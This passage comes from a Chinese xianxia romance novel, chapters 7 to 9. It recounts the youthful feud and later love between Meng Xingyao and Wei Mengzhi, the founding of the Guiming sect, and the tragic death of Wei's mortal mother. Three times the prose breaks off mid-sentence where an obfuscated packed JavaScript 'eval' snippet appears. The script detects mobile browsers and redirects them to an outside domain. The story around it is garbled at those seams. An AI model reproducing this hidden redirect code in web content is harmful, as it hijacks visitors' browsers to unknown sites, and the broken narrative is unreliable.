云湫仙岛奉四象苍龙之灵,木德精元,草木生长,宜养万物,门中多为救死扶伤的医修。而琅华仙谷以玄武之力,水德之息,包容万象,润泽四方,对补魂修魄,重塑肉身也颇有造诣。 连着探讨了一个多月的办法,最终是百里清音给了个方子,便是用天山冰玉棺养魂,配以三百三十六盏寒晶琉璃灯列阵护法,汲天地灵气,最后浸以用兰殊仙蕊为引,加之四十九种珍稀的天品灵宝熬制成的灵泉药浴,日夜养护,持之以恒。 天山冰玉棺花费多少,三百三十六盏寒晶琉璃灯花费多少,四十九种天品灵宝又花费多少,都尚且不论,单论仅为药引的兰殊仙蕊,便是十分难得。 此花又名不死草,生在于西荒以南的哀骨火山之中,一生只开一次。当时天界的西征大计因无极帝君黎煊的猝然离世而中断,那里尚是魔修的地盘。 后来谢云迢留下众人,孤身深入其中,才堪堪带回来十株仙草,又因为不习惯东荒的气候和土壤,差点养不活。 最后发现此花娇贵,非得以蓬莱仙洲的灵气滋养方才成活。闻晴帮忙将它栽培了出来,每月定期送往南荒。孟星遥不好意思让她一直帮忙这件事,便一直尝试,终于在百年前让兰殊仙草在清衡山也开了花。 就这样忙活了三百年,终于把她救回来了。 见池苒问起,孟星遥点了点头:“伤是差不多全好了,只是还需要静养,百里大夫说再观察几日,可以的话,就能接回来了。” 这对她来说,算是一件好事。至少当年的事,还算有个机会补救。 她低下头,碧蓝色的夜明珠在匣子里光华流淌,她拾起来,对着日光,里面似有碧波荡漾,海清月明。 确实是一颗很美的珍宝,仅仅只是它的美貌,就曾令她见之感叹,可是这样的珍宝,她也见过很多。 日子过去太久,她都差点忘了,其实在两人未彻底闹翻之前,危梦之对她真真称得上舍得二字。 南明神族以朱雀为尊,不仅势力宽广,分支众多,而且家底殷实,堆金积玉,其中又以金羽孔雀一族最为奢靡,在整个大荒亦是出名。 简单点说,就是不差钱,而且非常不差钱。 但就像一枚铜币有正反两面,这样富裕生活迎来的结局则是,当魔修之祸席卷大荒之时,南荒之壤便是首当其冲。 危梦之身为金羽孔雀王危恒最重视的幼子,从小锦衣玉食长大,祸乱发生时,便被族人拼命救出,逃往地处东荒太尧山的天玄学宫避难。 所幸他不负众望,学成归来,千年后持剑领兵杀回沂梦川,一把火焚尽了旧殿堂里的鬼影憧憧、血泪噩梦,在灰烬之上带着幸存族人重建了彩云宫。 这样的人,与亲与友,都当得起一句披肝沥胆,情深义重。唯独提及儿女私情,却有一个最大的缺点,是和他爹一脉相承的多情浪荡。 危恒是金枝玉叶之家养大的多情种,见一个爱一个,爱一个娶一个,直到他遇见让他终身妻管严的王后梓芸公主。而危梦之也成功继承了这一点,乱世之中身负国仇家恨也抵挡不住他处处开屏的魅力,见一个帮一个,帮一个撩一个,直到他被孟星遥用一条飘带给五花大绑捆到了树上。 同为天玄学宫的弟子,她看他的轻薄举止不爽很久了。 被捆到树上的危梦之还有些懵逼,眼前的女子虽蒙着面纱,仍可看出姿容艳丽,同时又兼具一股肃然淡漠的气质,两种矛盾的感觉在她身上结合得恰到好处,忍不住令人多看两眼,在他反应过来自己处境之前,他的嘴巴比大脑更快。 他说:“这位师姐,你这个法子很有新意,成功引起我的注意了。” 然后他就迎来了孟星遥手比大脑快,震惊又饱含怒意的一巴掌。 众所周知,危梦之是个浪荡多情的公子哥,一如他的本体,是只对着路过的蝴蝶都要开屏的孔雀。虽然他言之凿凿,他不是多情,他只是出于礼貌关怀世上的每一个姑娘,想让她们在这乱世中都感受到爱与温柔的力量。 但客观来说,他如何多情,如何招蜂引蝶,总归是他自己的事,和孟星遥并无关系,可他错就错在,他招惹了她当时最好的朋友。 孟星遥和沈容姬是一进天玄学宫就认识的交情。两人感情最好的时候,出入相随,整日如胶似漆地黏在一起。 沈容姬这人其实还不错,唯一的问题,就是太过痴情。虽然大荒仙道并不排斥情爱二字,但太过痴情便易成心魔,许多人过不了情劫,便是栽在了心魔之上。 但当时的孟星遥其实并没有想那么多,她觉得沈容姬被危梦之给骗了感情,本着替好朋友出头的想法,加上她原本就看危梦之不顺眼,于是便顺势而为,不仅给了这一巴掌,还把他给揍了一顿。 只是没想到这一顿打,却打出了往后千百年的纠葛。 当时的危梦之,不同与如今的病骨支离,破碎如雪,而是年轻气盛,锋芒毕露,又风流倜傥,俊美无双,一双丹凤漆瞳似黑曜美玉,贵不可言。即便身边有个剑眉星目,俊朗挺拔的谢云迢,那也是毫不逊色。 而孟星遥彼时虽姿容艳丽,却淡漠寡言,与他并非一路人。两人同为俊男美女,却彼此嗤之以鼻,只觉得一个浪荡子,一个假清高。 但因两人都是谢云迢的共友,故勉强算个点头之交,平日里也是井水不犯河水,还算相安无事。 这种微妙的平衡,一直维持到孟星遥的好友沈容姬跑来找她哭诉的那天,终于被孟星遥给打破了。 危梦之从小到大,从南荒到东荒,从彩云宫到天玄学宫,从来都是桀骜不驯,身边敢教训他的人屈指可数,除了他的老子危恒,只有一个人打过他,那便是孟星遥。 这一顿揍打得惊天地、泣鬼神,打得整个天玄学宫议论纷纷,危梦之原本就是个好面子的,何曾受过这样的屈辱,灰头土脸得当场气到一病不起,吓得苏祈月哭泣不已,身旁的忠仆急赤白脸,搬出南明神族的名头就要把这事闹大。 当时,天玄学宫之中分了两股势力,一为神族,一为人族。 三千多年前,神君重渊因诸般厄念堕入魔道,自立为魔祖,率部下叛出神界,由此拉开了天魔之乱的序幕,后来更是联合妖皇庆离将神魔战火烧至人间,无数凡人妖兽流离失所,哀鸿遍野,生灵涂炭。 神族虽为抵抗魔修的主力,却屡战屡败,甚至被迫东迁,可在此情形下,依旧不是很看得起人间修士,毕竟彼时能开悟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664643|172938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 修炼的人族散修人数不多,而且只讲究独善其身,超然世外,从未管过世间苍生。 至于那些刚涉仙道以求抗魔的大部分凡人,更是觉得他们的力量渺小无用,也对主张招收人间修士来神族的天玄学宫进修的做法嗤之以鼻。 闹出这场乐子之时,曾有人听到当时的墨华尊者笑着对身旁的弟子道:“汝瞧,吾曾言黎煊愚见之可笑,果不其然。” 彼时的天界之主是太和帝君璩清微,而他的三徒弟黎煊是他们共同的师父,也是主张招收人族修士入学天玄学宫的第一人。孟星遥心知自己犯了大错,所以被黎师父叫过去的时候,直接老实下跪,已经做好了挨骂受罚的准备。 她看见谢云迢想进来替自己求情,却被黎师父一个眼刀拦在了外面,身为黎煊爱徒的他进不来,身后的沈容姬等人更是别想进来,只能在外面干跺脚。 然而谁也没想到,在这一片乱糟糟中,危梦之居然拖着病体出现了。 黎师父倒是没拦他。 他径直走进,也没看孟星遥,只对着黎师父道:“什么人族神族的,我只说我堂堂七尺男儿,生于天地,就算被一个人族打了,那也便打了,用不着你们一个两个的都来替我出气,上赶着让她认错。” 孟星遥之前并不理解谢云迢为什么会和他成为朋友,但那一刻,她似乎明白了什么。 然而危梦之还没帅过三秒,就听黎师父冷笑一声,抄起手边一本厚厚的,一看就是新鲜出炉的《新·天玄学宫弟子守则》,砰一下砸到了他的脑袋上:“喜欢英雄救美?你以为我是替你出头?你到处拈花惹草、败坏门风的事我还没找你算账,你倒是自己送上门来了!滚,都给我滚去罚抄门规三千遍!” 黎煊本就有些喜怒无常,发起雷霆更是吓人,一旁因为不放心而跟来的重春师姑一脸我就知道的表情,连忙安抚他,让他俩抓紧走。 孟星遥一出门就被谢云迢拉了过去,他安慰道:“别怕,师父他一生气就这样,我也被罚过,等他气消了就没事了。” 怕吗?虽然她这才发觉自己的手在抖,但扪心自问,心里好像也没有多害怕。 那时候生活虽然不算太平,但身旁的人都宠她护她,看在重春师姑的面子上,黎师父对她也算包容,不然她不会胆大到敢绑架危梦之。 但她还没来得及回答,就听见身边的人手忙脚乱地大叫:“哎呀我去,阿迢你快来啊,梦之被砸晕了!” 她往旁边看去,果然看见危梦之翻了个白眼倒在了侍从的怀里。 唉,纨绔就是纨绔,即便修了仙,也是不顶用的绣花枕头。 一片混乱之中,谢云迢叹了口气,选择丢下朋友,先送她和吓得哭哭啼啼的沈容姬回去。 而那时她没想到,几百年后会有一天,和她闹成这样的危梦之会小心翼翼地握住她的手,将唇吻在她的手掌心上,一边呢喃着她的名字缠绵,一边将满屋数不清的珠宝玉石堆到她的身边。 彼时的他已经继任为金羽孔雀王。南明神族在天魔之乱中因内讧分裂而遭重创,又在乱世之中颠沛流离,最终只保存下不多的分支。而幸存者中,凤鷟王楚沧玉力排众议,改建南明郡南陵神宫为浮玉山重霄仙宫,成为日后的五大仙府之一。而金羽孔雀王危梦之则携万千家财,跟谢云迢赌一个名叫归明宗的未来。 世间万事不过一场又一场博弈,能成大事者,皆为赌徒之圣。 现在想来,那时对他而言,或许也没有更好的出路,金羽孔雀一族死伤惨重,早就成了空中阁楼,外强中干,即便回去南荒,怀着这般多的天材地宝,金银玉石,也会落得个“匹夫无罪,怀璧其罪”的下场。 还不如放手一搏,随谢云迢一起,跟着无极帝君黎煊拼个未来。 后来的事实会证明他赌对了,但当时,没人知道自己还有没有后来。 这样看来,作为生死之交的兄弟,他给谢云迢的信任是没有任何人能比拟的。 7.第七章 孟星遥并不完全清楚他们那时是如何艰难起家的,因为她是迟了很久才来到这里的。 魔祖重渊统治了西荒和东荒大部分土地,新天庭占了太尧山和东荒中洲一隅,只守得此处和小部分人间安宁。天玄学宫弟子一边修行,一边就得时常下山历练,不同于如今弟子们的秘境考核,当时的他们,是实打实的生死之间。 错了一步,便是万劫不复。 学成的那天,他们被分到不同的神尊麾下,跟随他们一同启程去征战杀敌。 下山的时候,孟星遥跟谢云迢是分别的,她随重春师姑去往北边的天漠群山,拜入琅华仙谷,而谢云迢跟随墨华神君驻守天玄学宫,改建其为日后的中洲天玄仙府。 至于危梦之等人,则是前往南荒故地。 等她再见到谢云迢时,距离上次分别,已经是百年之后的事了。 他携危梦之等志同道合之人,抛下一切,去了东荒最靠近西边的前线,开宗立派。 这四个字写来简单,个中艰难险阻,难以言表。 归明仙府起初并不是叫这个名字,而是叫玄剑门。孟星遥过来的时候,已经是个初具规模的小宗门。 她是半路加入进来的,彼时她刚和琅华仙谷的人闹掰,愤而离谷,无处可去。 苏祈月带着人出来接她,但最令她意外的,是危梦之。 上一次见他时还是那副二世祖的模样,此刻却变得沉稳坚毅许多,甚至衣着也不再讲究华丽排场,十分简单朴素,身边连侍从都没有了。 看见孟星遥时他有些意外,但也温和地同她打了个招呼。 说实话,若非知道他携了巨资来投奔谢云迢,孟星遥第一反应是以为他终于把家里给败光了。 玄剑门里的大部分人都是谢云迢在天玄学宫交好的旧友,孟星遥虽认识,但并不熟悉,她和谢云迢从小相识,大家也都知道,故对她也很是照顾。 那时东荒西洲很是混乱,妖兽横行,魔物肆虐,同时,还有另外两处规模不小的本土宗门在与他们竞争,一为鸣玉楼,一为青月谷,都想将这个刚刚立足的玄剑门吞并了。 后来的日子也没什么好说的,每天就是降妖除魔,建设宗门,吵吵闹闹,鸡飞狗跳。值得庆祝的是,玄剑门在双重夹击之下竟然还立稳了脚跟。而令人犯难的是,一个宗门成长所需要的开销,比他们预估得要大得多。 所以那时候的日子虽然不算苦,但也绝对称不上富裕,偶尔还会一块灵石掰成两块用,能省则省。其实那会最合适的搭档,是以打斗见长的她跟着谢云迢去降妖除魔,招收门徒,了解内务经营的苏祈月带着有这方面基础的危梦之研究如何精打细算,开源节流。 但也不知道怎么,渐渐地,她和危梦之两个学徒倒成了搭档,互相传授经验。 不过现在想来,这个安排其实也不错,至少让每天两眼一睁就是干的她也学会了看账本,再也不会花灵石如流水。 而她那时候也才得知,危梦之和苏祈月的母亲苏梓芸原是凡人。 世人只知道梓芸王后是个让危恒变成妻管严的女人,却不知道危恒当初是心甘情愿变成妻管严的。 他是去凡间游玩的时候遇见的她,当时的她只是一个来自凡间小国的孤女,还是一个新丧夫的寡妇,她的新婚丈夫死于疫病,两个人成亲甚至还没超过一个月。 这对一个凡尘女子来说真是天崩开局,故而苏梓芸上坟的时候悲从中来,泫然欲泣,当时的她一身缟素,出尘脱俗,配合上漫天纸钱飘然如雪,对路过的危恒来说简直就是致命一击。 当然,和他一起受到致命一击的还有金羽孔雀族,那时南明神族的神主之争打得水深火热,娶一个凡人,尤其还是个寡妇,必定会成为对方攻讦自己的污点,故而危恒特意找了个座下旁支王族把苏梓芸放进去养了两年,还为了她造了个假的公主身份。 你看,一个男人要是真心想娶你,任何难关他都会主动想办法去克服。 只是可惜,那时候没人想到,成亲只是他们所有遇见的难题中,最小的一道坎。 他俩的结亲,从成婚那一年开始就十分不顺。 不说南荒那年突发了有史以来最大的水灾,雨水连下了一个月,淹没了三分之一的土地,就在停雨的最后一个夜晚,突发雷暴,把供奉朱雀先祖的祠堂给劈了个大洞。 过了几年,南明神宫还意外走水,火势是从夜晚烧起来的,越烧越猛,直至夜空都被映得通红,最后是北边的宫殿化作一片黑土时,又突然奇异地消失了。 等等等等,不胜枚举。 那时的南荒都在私下传闻,是神主有事欺瞒了先神,才会有此等怪异事情。 彼时,神族和人族已经鲜少通婚,因此备孕第一个孩子的时候没经验,导致苏梓芸大出血。 危恒替她施以阵法和神力相护,这才保下她和孩子,但也导致苏祈月的身体不好。 因为心疼苏梓芸,他才会让第一个孩子跟随她母亲的姓氏,这也成了他最爱她的证明。 苏梓芸调养了很多年,才诞下了第二个孩子,也就是危梦之。 但除了这些奇怪的事情外,他俩确实是模范夫妻,很是恩爱,整日出入相随。危恒身为神主,还为她遣散了大半后宫,除了个别实在不愿意走的。 他剩下的嫔妃虽然不多,但个个出身高贵,与他结识又早,虽然早知危恒是个渣男,但也有真的爱他,走不出回忆的。 可再模范的夫妻,也不会从无口角,就像再美丽的面容,也总有看腻的一天。 苏梓芸出身凡尘,本身又是什么也不会的孤女,除了漂亮和柔顺外,给不了危恒任何一点帮助,因为她根本听不懂那些斗争博弈。 两个人的爱持续了四十年,终究是屈服给了现实。金翎凤凰一族想夺回神主之位已久,行动开始越发张扬大胆,这让危恒越发焦头烂额,整日寝食难安,因此和苏梓芸的矛盾也开始逐渐频发。 现在想来,很多事早已昭示着结局的伏笔。但一切的转折点,是在一个无风的深秋夜晚。 金翎凤凰一族发现了苏梓芸是凡人的身份,借用神谕,在夏火神会上弹劾了危恒,成为让他在神主保卫战中落败的最后一根稻草。 而那时,苏梓芸刚好又和危恒因为华灵侧妃的事冷战。因为华灵侧妃本身出身高门,自然能在权斗一事上给危恒很多帮助,两人一来二去频繁了,旧情复燃也是意料之中的事。 苏梓芸其实也不是吃醋嫉妒,存心挑事,只是危梦之说想父王了,她才会突然回彩云宫找他。 路上耽搁了一些时间,她回去得晚了,好在给危恒做的小梨酥被她用法力护着,还是温热的。她是个没有灵脉的凡人,这么多年,也就只学会这么一些简单的术法。 因为有很长一段时间没看见危恒了,她还有些紧张,去书房的路上再三整理了着装,连头发丝也没放过,弄得一旁的侍女都笑着打趣了她。 她想给危恒一个惊喜,所以没有让侍从通报。危恒之前十分宠她,她一向来去自由,侍从们也并没有觉得不妥。 可是她高兴地推开门喊危恒的瞬间,迎接她的是里面杯盏书卷滚落一地的声音,以及危恒和华灵匆匆从案上起身,以致还没收拾好的着装。 危恒的慌乱在冷静下来之后变成了恼羞成怒,那是他当众对苏梓芸发的最大的一通火,他怒斥道:“阿芸,你怎么能这么不懂事?” 你怎么能那么不懂事?可是他忘了,他爱她的时候,明明最爱夸的除了她的漂亮外,就是她的柔顺和不谙世事,能让他在神族的勾心斗角之中,偷得一丝机会喘一口气。 谈起这些往事的时候,危梦之正和孟星遥一起去仙都天市和云来仙集上跑商,售卖掉他们宗门里刚打出来的一批西洲特产的玄铁精矿和部分妖兽金丹。 彼时玄剑门已经正式改名为归明宗,开销剧增,迫切需要开通几条固定成熟的贩卖渠道。 黎煊出了援手,帮忙搭线了几个途径,但需要他们亲自去谈,这并不是一件容易的事。虽然两人也配合了有段时间,但还是费了一番大功夫。 在心里一块石头终于落地后,他俩难得多说了一些题外话,还一起去买了点吃食和小酒庆祝。 那天夜风徐徐,流云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那天的她没有意识到自己正在经历怎样重要,且会在史书上被浓墨重彩记录的一天。因为那天对她而言只是和平常一样兵荒马乱——是的,彼时的大雍,早就已经开始腐朽衰败,连最为清净的国宗里都早早弥漫着动荡不安的气氛。 那天也同样是大雍有史以来最寒冷的一天。 大雍国都昌康地处大荒中部,地势不高,气候宜人,很少会下雪,那次却从前一晚的夜里就飘了很大的一场雪,醒来时积雪都没过了小脚踝。所以她生了病,连饭都没怎么吃,一整日都迷迷糊糊的,后来,她只听见很多人喊着快跑,快跑,随即到处都燃起了大火。 许多曾彰显着大雍国力的华丽高楼城阙在火中被燃烧殆尽,又倒落在冰冷的雪海之中。 她清醒过来的时候,映入眼帘的是战火纷飞之中,师父孤挺的背影。他带着她一路往东逃,逃出了昌康,逃出了大雍,再后来,他们遇见了同样逃出来的谢云迢,在前往东荒的路上,师父却病逝了。 她对大雍最后的记忆,是元桓景摸着她的脸,苍白如雪的头发掩盖着他同样苍白的脸色。在他的手因他的死亡而无力垂下之前,他说:“星儿,别怕,会没事的。” 时间过去太久,连她都记不清那段往事了。现在被危梦之这么一问,她才模模糊糊想起一些,可是她还没来得及回答,就听见危梦之跟竹筒倒豆子似的把自己的往事全倒了出来。 原来不是他想问,是他自己喝多了憋不住想说。 孟星遥一边吃着买来的吃食,喝着酒,一边津津有味地听着喝醉的危梦之讲故事。但越听到后面,她越难以下咽。 危恒训斥完苏梓芸没多久,她便投崖自尽了。跌落的那一刻,山崖的风吹着她的衣衫飘摇,像一只自由的鸟。 其实这四十年来,她过得一直很孤独。永生不能回人间,瞒着一个随时可能被发现的身份,努力融入不属于自己的世界。危恒再爱她,终究也是一个神族的王,她又无法修得灵力,每日都过得如履薄冰。 其实他们姐弟俩的名字,来自并不认识很多字的苏梓芸,一个人孤单时编的一句小诗。 祈盼明月寄思念,替我入梦到人间。 8.第八章 苏梓芸的尸身被抬回彩云宫的时候,危恒把自己和她关在了两人当初定亲的那间房里,关了很久很久。再出来时,他平静地帮她整理仪容,安排下葬,以王后之礼厚葬在了祖陵之中。 危梦之恨危恒,他不明白自己只是想见见他,怎么就让母后自尽了。所以自那之后,他再也不愿意看见危恒,整个彩云宫,他只愿意听一听姐姐的话。 但他没想到的是,这样令他难过的日子,还能变得更差。三大魔君携魔祖之令攻破南荒的那日,天昏地暗,鬼哭神嚎,一向四季如春的彩云宫被血色笼罩。 他被侍从拉着登上神车逃离南荒,记忆里的最后一眼,是危恒手持长剑立于宫阙高楼之上,宁以孔雀王之身战死,誓死不从魔修。 他只对他留了一句话:“梦之,活下去。” 而战乱之中,苏祈月又突遇袭击,和他失散,不知所踪。 他花了五年的时间逃到天玄学宫,找了苏祈月又花了五年,重逢时,她身体比以往更差,让他心痛不已。 而他儿时常常靠在苏梓芸的腿上,听她说凡间的故事。比起魔修,他其实更恨南明神族,尤其是金翎凤凰一脉,觉得是他们间接害死了自己的父母。 若非苏梓芸去世,危恒也不会一心求个解脱。 所以南明神族收复部分南荒失地,金翎凤凰一脉登上神主之位后,危梦之并没有顺从,听说谢云迢想建立一个以人族修士为首的宗门时,转头带了能带走的全部家产和氏族子弟,跑来投奔他。 危梦之虽然喝醉了,但是他酒品却意外地不错。讲述这些事的时候,他一直安安静静的,几处哽咽,他都强忍着眼泪。 孟星遥看过去时,只看得见他努力克制却颤抖着的肩膀。 那天的仙集很热闹,底下来来往往,人声鼎沸,但酒楼很高,星空之下安静得似乎只剩下他们两人。 夜风吹拂而来,连空气都带着醇香的酒气。 在危梦之试图装作没事第三次擦掉泪水时,孟星遥轻轻地伸出了手,替他刮掉了眼泪。 她这个举动,让两个人都愣住了,包括她自己。两个人彼此大眼瞪小眼了半晌,危梦之突然腾地站起了身,说自己要去就寝了。 孟星遥也觉得有些尴尬,哈哈笑着说好。危梦之迈开步子掉下去的瞬间,两个人突然反应过来。 不对,这是在屋顶啊啊! 好在危梦之从屋顶摔下差点一命呜呼的那一刻,两个酒鬼想起自己还有法术这一回事。 一个从背后张开神翼飘浮而起,另一个一跃而下,结印相护,伸手去拉他。 动静搞得太大,路过的修士不明所以,以为是醉仙楼别出心裁的拉客表演,纷纷鼓起了掌。 两个人对视一眼,立马穿过人群落荒而逃。 彻底酒醒是在第二日,孟星遥下楼的时候,危梦之已经在吃早饭了,他们那会还没辟谷,她早就饿得咕咕叫。 很奇怪的是,早饭一共有四样,居然有三样都是她喜欢吃的,尤其是南瓜粥。 孟星遥疑惑地看了一眼危梦之,后者一本正经地别开脸:“本王也喜欢吃这些,所以别奇怪。等会中午我们去吃点好的,昨晚的事,你不许往外提。” 好说,好说,尤其后面去吃饭时,危梦之又不知从哪儿掏了一支红玉桃枝手镯送她,孟星遥也不跟他客气,拿人手短吃人嘴软,这么大的秘密,她肯定会好好替他保守。 她戴上手镯笑眯眯地冲他展示了一圈,问他:“好看吗?” 那会她还很喜欢穿粉色的衣衫,肤如凝脂又纤细的手扬起,红玉手镯垂挂在她的手腕,整个人艳丽得如同春日里开的第一枝桃花。 危梦之凝望着她,然后他听见一声温柔得仿佛不是他自己的声音。 “好看。” 世界上有一条亘古不变的真理:想要两个人关系突飞猛进,那就从有共同的秘密开始。 自那以后,这两个一见面就如坐针毡的人,竟然莫名其妙地相处融洽了。谢云迢对他俩的关系变化很是欣慰,又很是奇怪。 他原本是不放心孟星遥去接手她不熟悉的工作,还是跟着与她有过一揍之仇,互相看不顺眼的危梦之,谁知道会不会互相使绊子。 最后还是苏祈月劝说关系是相处出来的,同在一个宗门,低头不见抬头见,总不能一辈子都这么关系尴尬。他觉得有点道理,才同意让他们俩搭档试试。 但出乎意料的是,他俩的关系不仅是变好,还朝着不可说的方向一路前行,再也刹不住车。 最终成了归明宗公开的第一对,打破了这个宗门脱单率为零的记录。 这实在是令人难以置信的一件事。 而更令人难以想象的另一件事,就是危梦之这样到处招蜂引蝶的人,正经谈起恋爱会是这般模样。 彼时正是归明宗蒸蒸日上,越做越大的时期。鸣玉楼被妖兽突袭,一夕覆灭,青月谷本就不强,没坚持多久,也归顺合并进了归明宗。 那时西洲不归窟、幽水岭、浮烟山等地被归明宗收复后,都归到了其坐落的斗山座下,谢云迢挑了个良辰吉日,把斗山正式更名为了清衡山。 两个人在一起的那天,风和日丽,正是草长莺飞的季节。 三月春,万物复苏。 清衡山从半山腰开始往上长了一大片的桃林,正是盛开的时节,放眼望去,粉雾蒸腾,春花烂漫,灼灼其华。 天气好,有许多弟子都出来游玩散心,他们这些仙长也不例外。 之前辛苦忙活了太久的时间,也该放松放松。 有道是人生最是好滋味,偷得浮生半日闲。 孟星遥被危梦之叫出去的时候,其实还在忙谢云迢刚给她的工作。 彼时归明宗刚刚一统西洲,势力不稳,非常需要巩固。 除了青月谷外,还有其他陆续归顺的宗门要管理安抚,宗门内的人员职务和地位也要调整。 因归明宗以人族为本,非常受西洲人间的支持,故而和凡间属地的往来交涉也亟待增进。 这本是苏祈月负责,但她一人忙不过来,因此孟星遥主动提出要分担。 将事务交予她时,苏祈月还委婉相劝,怕她劳累。 谢云迢的意思也是让她简单帮衬就行,但她素来好强,他们越是如此,她越是暗自较劲。 可惜有些事不是下了决心就能做好。 这不是她擅长的事,因此那阵子她一直过得是连轴转的日子,连修炼都落下了不少。整个人烦闷得如同有一口气堵在胸口,呼不出来,又咽不下去。 就连池苒给她找来散心的话本子都看不下去。 正心烦意乱间,忽然听见危梦之说:“阿遥,到了。” 她睁开眼,映入眼帘的是漫天的落英缤纷,飘渺如同仙境。 他还备了她爱吃的莲花酥和千日春。 孟星遥还在愣神时,耳边忽然有悠扬的琴声响起,婉转悠扬,令人不知不觉放松了下来。 危梦之的古琴是弹得极好的。南明神族的人向来能歌善舞,是他们的文化特色。每一百年开一次的夏火神会除了每三轮来一次神主擂台赛外,其他时间都是他们用来颂扬先神和表演交流的。 孟星遥很喜欢跳舞,虽然她并未专门学过。 大荒之上,颂神唱福是古有的习俗,当初在天渺宗和天玄学宫,总会有遇上某些庆典的时候,她偶尔会帮忙上去跳一段祝福词。 现在既然危梦之起了调,她也没忍住,踏着乐声缓缓起舞。 落花纷纷如雪,飘带裙摆随风而动,伴着千日春的酒香,她心中吐不出来的那口气,似乎就这样慢慢乘着桃林里的微风一路消散了。 回过神来时,她已经筋疲力尽地躺在了危梦之的怀里,安静地仰头与他对视。 落花飘至她唇角处时,他的吻也接踵而至。 三月的天,说变就变,明明还是风和日丽,转眼便是雷雨交加。 在山林走兽和众人被这突如其来的一场雨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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危梦之改掉了沾花惹草的毛病,一有空闲的时间,都贴着孟星遥,像一只粘人的小兽。她随口一提的东西,他也会上穷碧落下黄泉,一定找到。 孟星遥这般淡漠之人,竟也会害羞腼腆。有次危梦之出外务提前回来,来东曜阁接她,众人略一起哄,她立刻红着脸抓着他的手往外逃,笑得后者合不拢嘴。 那盘没下完的赌局,有天被人路过时丢了一整大袋的灵石,还留下了一句话。 “我猜他俩会结契,还是整个大荒,最盛大的一场婚礼。” 时间一久,两人每日如影随形,舞乐相伴,也让众人慢慢习惯了。在他们的影响下,整个归明宗的氛围竟也逐渐变得春光浪漫起来。 可是,虽大荒仙道不排斥情爱二字,但此物正如一把双刃剑,有人可因情之一字堪破天劫,有人却正因情字而堕落一生。 为了避免不必要的麻烦,有许多人将其视为洪水猛兽,避之不及,修无情道者也比比皆是。 一对初尝情爱的小情侣的这般行径,确实对一个刚起步的宗门影响不好。 某日几人开完会后,谢云迢侧面敲打了他俩一下。危梦之不明所以,孟星遥倒是听懂了。 可她还未说话,苏祈月却笑眯眯地搂住她的胳膊,打趣道:“这人的心啊就如一块冰水里的石头,又冷又硬,不解风情。别放心上,你俩最近低调一些就行。阿遥师姐,我还等着你和我当一家人呢。” 苏祈月喜欢燃熏香,尤其钟爱一种香,名唤晚信香,是以鸢尾、荼蘼和兰草制成,初闻时淡雅自然,时间一久,就会形成一缕缭绕不去的甜润柔美的香气。 就像她给人的印象一般。 孟星遥侧过头,恰见她低眉浅笑。 苏祈月和危梦之一样继承了父母的好相貌,却又是截然不同的风格。 不同于胞弟的张扬漂亮,她素雅干净,别有韵味,如春风轻拂过满树梨花。 然而,在所有人的期待之中,孟星遥和危梦之的结契却并不顺利。 9.第九章 两人浓情蜜意的那段日子,正是归明宗步步高升,扶摇直上的关键时期。 当适时,太和帝君璩清微去世后,没有将帝君之位传给他的儿子璩归元,也没有给他的大徒弟长昀。 而是给了三徒弟黎煊。 此举出人意料,却又情理之中。 黎煊是被清微从古战场捡回一条命的凡人,失忆的他却是灵脉蓬勃,天赋异禀,难得的修炼奇才,只用了百来年便成仙,又花了百来年,便离登神只差一步之遥。 但他的性格不好,喜怒无常,又沉默少言,和他的师兄长昀恰恰相反。 若说长昀如人间四月,天朗气清,惠风和畅,令人心情舒快。那他则是集齐了夏日酷暑和冬日严寒,杀伐冷峻,不怒自威。 可这样的人,偏偏天纵奇才,极其聪明,对大荒的战局和天界的未来有自己独特前卫的理解和想法。 天界救了他,可天界也需要他。 清微正是看穿了这一点,所以才会放弃了当时天界大部分人的心之所向,顶着压力将帝位传给了黎煊。 墨华等人再如何不满,因长昀也出面无条件支持这个师弟,最终只能服软归顺。 也由不得他们不服软归顺,因为黎煊并没有在意过他们,他从不指望得到他们的支持。 他早早就开始安排培养自己的亲信,谢云迢等凡人进入天玄学宫修行,并脱离天玄去建立自己的宗门,就是他安排的最重要的一步棋。 黎煊一直在集齐和整肃神族与人修之力,又竭尽全力去寻找遗失的上古神卷,最终获得了七把上古神器和天命所存的四象之力。 他得封无极帝君后,建立衡天府,以号令天下修士。 又以天玄宗为中枢,封以中土之力,琅华、归明、重霄、云湫四大仙宗承封四象,统筹十方仙洲,共同守卫天都三垣。 而另有七位麾下大将得封七曜,以长昀为首,赐封神器,共辅黎煊执掌大局。 而天赐良机,恰逢那时,魔修之势一统大半个大荒,而盛极必衰的道理古已有之,涂愿魔君君野教唆多位魔君叛变,和重渊势不两立。 有流言四起,前任妖皇庆离的死亡并非意外,而是重渊所杀。身为庆离的侄子,君野自当为叔父报仇。 真正的反扑并非像戏本子里写的那般,会有某个重要的一刻作为战局爆发的引信。 而是越来越紧的任务安排,逐渐频发的大小战役,以及越来越少的自由时间。 她和危梦之的结契也开始一拖再拖。每次定好日子,都被突发的任务给打断。 她曾想过要不要简单把仪式走了便好,但危梦之不同意。 他轻轻亲吻她的掌心,他说,阿遥 ,我想给你最好的。 